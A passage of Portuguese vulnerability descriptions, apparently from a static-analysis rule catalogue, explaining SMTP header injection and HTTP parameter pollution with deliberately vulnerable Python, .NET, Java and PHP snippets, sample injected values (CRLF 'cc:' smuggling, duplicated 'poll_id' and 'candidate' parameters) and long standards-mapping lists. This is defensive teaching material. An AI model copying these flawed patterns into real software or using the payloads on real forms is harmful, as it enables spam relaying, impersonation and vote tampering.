No entanto, como o valor do cabeçalho é construído a partir de uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para subject não contiver caracteres de CR e LF. Se um invasor enviasse uma string mal-intencionada, como "Parabéns!!! Você ganhou na loteria!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", os cabeçalhos SMTP teriam o seguinte formato:


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


Isso permitirá efetivamente que um invasor elabore mensagens de spam ou envie e-mails anônimos entre outros ataques.
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 93
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.php.header_manipulation_smtp
Abstract
A inclusão de dados não validados em um cabeçalho SMTP pode permitir que invasores adicionem cabeçalhos arbitrários, como CC ou BCC, que eles podem usar para deixar vazar o conteúdo de e-mails para si ou que podem usar o servidor de e-mail como um robô de spam.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho SMTP ocorrem quando:

1. Dados entram em um aplicativo através de uma fonte não confiável, mais frequentemente uma solicitação HTTP em um aplicativo Web.

2. Os dados são incluídos em um cabeçalho SMTP enviado para um servidor de e-mail sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho SMTP é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho SMTP.

Um dos ataques mais comuns de Manipulação de cabeçalho SMTP é para o uso da distribuição de e-mails de spam. Se um aplicativo contiver um formulário vulnerável "Fale conosco" que permite definir o assunto e o corpo do e-mail, um invasor poderá definir qualquer conteúdo arbitrário e injetar um cabeçalho CC com uma lista de endereços de e-mail para distribuição anônima como spam, já que o e-mail será enviado a partir do servidor da vítima.

Exemplo: O segmento de código a seguir lê o assunto e o corpo de um formulário "Fale conosco":


body = request.GET['body']
subject = request.GET['subject']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
headers = "\r\n".join(["from: webform@acme.com",
"subject: [Contact us query] " + subject,
"to: support@acme.com",
"mime-version: 1.0",
"content-type: text/html"])
content = headers + "\r\n\r\n" + body
session.sendmail("webform@acme.com", "support@acme.com", content)


Supondo que uma string formada por caracteres alfanuméricos padrão, como "A página não funciona", seja enviada na solicitação, os cabeçalhos SMTP podem assumir o seguinte formato:


...
subject: [Contact us query] Page not working
...


No entanto, como o valor do cabeçalho é construído a partir de uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para subject não contiver caracteres de CR e LF. Se um invasor enviasse uma string mal-intencionada, como "Parabéns!!! Você ganhou na loteria!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", os cabeçalhos SMTP teriam o seguinte formato:


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


Isso permitirá efetivamente que um invasor elabore mensagens de spam ou envie e-mails anônimos entre outros ataques.
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 93
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.python.header_manipulation_smtp
Abstract
Concatenar entradas não validadas em uma URL pode permitir que um invasor substitua o valor de um parâmetro de solicitação. O invasor pode ser capaz de substituir valores de parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de alcance direto.
Explanation
Ataques de HPP (Poluição de Parâmetros HTTP) consistem em injetar delimitadores de cadeia de consulta codificados em outros parâmetros existentes. Se um aplicativo Web não limpar corretamente a entrada do usuário, um usuário mal-intencionado poderá comprometer a lógica do aplicativo para realizar ataques no lado do cliente ou no lado do servidor. Ao enviar parâmetros adicionais para um aplicativo Web e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, esse aplicativo Web pode reagir de uma das seguintes maneiras:

Talvez ele obtenha dados somente do primeiro parâmetro
Talvez ele obtenha dados do último parâmetro
Talvez ele obtenha dados de todos os parâmetros e os concatene


Por exemplo:
- ASP.NET/IIS usa todas as ocorrências dos parâmetros
- Apache Tomcat usa apenas a primeira ocorrência e ignora outras
- mod_perl/Apache converte o valor em uma matriz de valores

Exemplo 1: Dependendo do servidor de aplicativos e da lógica do aplicativo propriamente dito, a seguinte solicitação pode causar confusão para o sistema de autenticação e permitir que um invasor represente outro usuário.
http://www.server.com/login.aspx?name=alice&name=hacker

Exemplo 2: O código a seguir usa a entrada de uma solicitação HTTP para produzir dois hiperlinks.

...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...


URL: http://www.host.com/election.aspx?poll_id=4567
Link1: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=en">English<a>
Link2: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=es">Spanish<a>

O programador não considerou a possibilidade de que um invasor pudesse fornecer um lang como en&poll_id=1 e, em seguida, conseguisse alterar poll_id à vontade.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.http_parameter_pollution
Abstract
Concatenar entradas não validadas em uma URL pode permitir que um invasor substitua o valor de um parâmetro de solicitação. O invasor pode ser capaz de substituir valores de parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de alcance direto.
Explanation
Ataques de HPP (Poluição de Parâmetros HTTP) consistem em injetar delimitadores de cadeia de consulta codificados em outros parâmetros existentes. Se um aplicativo Web não limpar corretamente a entrada do usuário, um usuário mal-intencionado poderá comprometer a lógica do aplicativo para realizar ataques no lado do cliente ou no lado do servidor. Ao enviar parâmetros adicionais para um aplicativo Web e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, esse aplicativo Web pode reagir de uma das seguintes maneiras:

Talvez ele obtenha dados somente do primeiro parâmetro
Talvez ele obtenha dados do último parâmetro
Talvez ele obtenha dados de todos os parâmetros e os concatene


Por exemplo:
- ASP.NET/IIS usa todas as ocorrências dos parâmetros
- Apache Tomcat usa apenas a primeira ocorrência e ignora outras
- mod_perl/Apache converte o valor em uma matriz de valores

Exemplo 1: Dependendo do servidor de aplicativos e da lógica do aplicativo propriamente dito, a seguinte solicitação pode causar confusão para o sistema de autenticação e permitir que um invasor represente outro usuário.
http://www.example.com/login.php?name=alice&name=hacker

Exemplo 2: O código a seguir usa a entrada de uma solicitação HTTP para produzir dois hiperlinks.

...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...


URL: http://www.example.com?poll_id=4567
Link1: <a href="001">Inglês<a>
Link2: <a href="002">Espanhol<a>

O programador não considerou a possibilidade de que um invasor pudesse fornecer um lang como en&poll_id=1 e, em seguida, fosse capaz de alterar poll_id à vontade.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.http_parameter_pollution
Abstract
Concatenar entradas não validadas em uma URL pode permitir que um invasor substitua o valor de um parâmetro de solicitação. O invasor pode ser capaz de substituir valores de parâmetros existentes, injetar um novo parâmetro ou explorar variáveis fora de alcance direto.
Explanation
Ataques de HPP (Poluição de Parâmetros HTTP) consistem em injetar delimitadores de cadeia de consulta codificados em outros parâmetros existentes. Se um aplicativo Web não limpar corretamente a entrada do usuário, um usuário mal-intencionado poderá comprometer a lógica do aplicativo para realizar ataques no lado do cliente ou no lado do servidor. Ao enviar parâmetros adicionais para um aplicativo Web e se esses parâmetros tiverem o mesmo nome de um parâmetro existente, esse aplicativo Web pode reagir de uma das seguintes maneiras:

Talvez ele obtenha dados somente do primeiro parâmetro
Talvez ele obtenha dados do último parâmetro
Talvez ele obtenha dados de todos os parâmetros e os concatene


Por exemplo:
- ASP.NET/IIS usa todas as ocorrências dos parâmetros
- Apache Tomcat usa apenas a primeira ocorrência e ignora outras
- mod_perl/Apache converte o valor em uma matriz de valores

Exemplo 1: Dependendo do servidor de aplicativos e da lógica do aplicativo propriamente dito, a seguinte solicitação pode causar confusão para o sistema de autenticação e permitir que um invasor represente outro usuário.
http://www.server.com/login.php?name=alice&name=hacker

Exemplo 2: O código a seguir usa a entrada de uma solicitação HTTP para produzir dois hiperlinks.


<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>


URL: http://www.host.com/election.php?poll_id=4567
Link1: <a href="vote.php?poll_id=4567&candidate=white">Vote no Sr. White<a>
Link2: <a href="vote.php?poll_id=4567&candidate=green">Vote na Sra. Green<a>

O programador não considerou a possibilidade de que um invasor pode fornecer uma poll_id como "4567&candidate=green" e, em seguida, a página resultante conterá os seguintes links injetados e, portanto, Sra. Green será sempre votada em um servidor de aplicativo que seleciona o primeiro parâmetro.
<a href="vote.php?poll_id=4567&candidate=green&candidate=white">Vote no Sr. White<a>
<a href="vote.php?poll_id=4567&candidate=green&candidate=green">Vote na Sra. Green<a>
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
